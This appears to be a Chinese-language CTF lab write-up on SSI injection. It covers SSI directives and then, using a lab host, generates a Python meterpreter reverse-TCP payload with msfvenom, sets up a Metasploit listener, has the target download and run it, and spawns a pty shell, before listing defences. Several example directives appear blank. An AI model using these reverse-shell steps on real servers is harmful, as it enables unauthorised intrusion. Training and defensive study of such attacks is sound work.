CTF——Web安全SSI注入

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原本地址——CTF——Web安全SSI注入

前言：如何从外部进入主机

SSI注入攻击介绍

简单理解

SSI(server side inject)的出现是为了赋予HTML静态页面动态的效果，通过SSI来执行系统命令；并返回对应的结果。

如果再网站目录中发现了.stm；.shtm；.shtml；这样的文件后缀名，并且网站对于SSI的输入没有做到严格过滤或者过滤不充分；很有可能被SSI注入攻击。

SSI语法

①显示服务器端环境变量<#echo>

本文档名称：

现在时间：

显示IP地址：

②将文本内容直接插入到文档中<#include>

注：file包含文件可以在同一级目录或其子目录中，但不能在上一级目录中，virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期：

文件的长度：

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

比如：

列举当前目录中的文件和目录

就是可以执行一些终端命令

进一步利用，下载一个shell脚本并重命名为shell.php

制作webshell

之前使用的php制作的webshell，这次使用python

msfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.4 lport=4444 -f raw > /root/Desktop/shell.py

启动监听，使用metasploit对4444端口进行监听

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 10.0.2.4
lhost => 10.0.2.4
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.4:4444 

设置好后开始侦听4444端口

将shell.py移动到apache目录下，才可以使用IP地址的链接下载

然后需要开启apache服务service apache2 start

然后执行下载命令将shell下载到靶机的站点目录当中，

然后执行语句赋予shell执行权限再进行执行

#加权限

#执行

然后看到浏览器在不断发送请求，到终端查看监听状况，发现返回了meterpreter

输入?可以查看当前可执行的命令

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    chmod         Change the permissions of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system

输入shell进行利用，再查看id，发现当前登录的只是一个普通用户，而不是root用户

终端可以选择进行优化一下，就是让其显示用户名和主机名，和kali的终端形式那样。

python -c ‘import pty;pty.spawn("/bin/bash")’

然后就是提权，靶场没有设置flag值，目的是为了学习SSI注入，所以就不再继续进行下去了。

总结

对于SSI漏洞服务器有很多过滤机制，需要进行绕过，比如大小写。

防御措施：

一、进行过滤，过滤这些语法中的特殊字符

二、关闭服务器SSI相关功能